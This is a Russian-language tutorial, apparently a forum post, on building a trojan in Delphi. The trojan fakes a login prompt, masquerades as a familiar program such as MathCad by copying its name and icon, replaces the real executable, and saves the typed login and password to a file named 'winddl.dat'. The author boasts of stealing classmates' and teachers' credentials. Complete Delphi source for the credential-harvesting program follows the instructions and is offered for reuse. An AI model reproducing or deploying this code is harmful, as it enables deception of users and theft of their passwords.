Берем Delphi. Делаем прогу имитирующую запрос пароля. А введенные значения записываем в отдельный файл. Замаскеруем прогу под чтото очень нужное и часто используемое. Например MathCad, Delphi, C++. Делаем такую же иконку, название проге даем как у жертвы. Также важно не забыть, что после выполнения нашей проги надо запустить приложение жертвы.Заменяем главный фаил жертвы нашей фичей. И на рабочем столе делаем ярлык на него. Uzver запускает свое приложение и 90% что даже не подумает чего это его просят ввести лог и пассворд. Я так поимел логи всей своей группы и с десяток препов.
Пример приведен ниже:
(Зарание оговорюсь.Это основная база для проги. Так что можно добавить че надо, наворотить, поперчить, посахарить...)

unit tr;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Buttons, ExtCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Image1: TImage;
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
Label4: TLabel;
Label5: TLabel;
procedure BitBtn1Click(Sender: TObject);
procedure BitBtn2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
F:Text;
lg,psw:string;
flag:boolean=false;
implementation
{$R *.DFM}
procedure TForm1.BitBtn1Click(Sender: TObject);
begin
if (Edit1.Text<>'')and(Edit2.Text<>'') then
Begin
lg:='Login:';
psw:='Password:';
AssignFile(F,'winddl.dat'); {тута указываеш имя файла куда кидать лог и пасв}
{$I-}
Reset(F);
{$I+}
if IOResult=2 then
Begin
Rewrite(F);
flag:=true;
end;
Write(F,lg);
lg:=Edit1.Text;
writeln(F,lg);
Write(F,psw);
psw:=Edit2.Text;
writeln(F,psw);
CloseFile(F);
Form1.Close;
end
else
MessageDlg('Введите Login и Password',mtError,[mbOk],0);
end;
procedure TForm1.BitBtn2Click(Sender: TObject);
begin
If Edit1.Text='' then MessageDlg('Введите Login',mtError,[mbOk],0);
If Edit2.Text='' then MessageDlg('Введите Password',mtError,[mbOk],0);
end;
end.

program login;
uses
Forms,
tr in 'tr.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.

Автор: SlipperyAir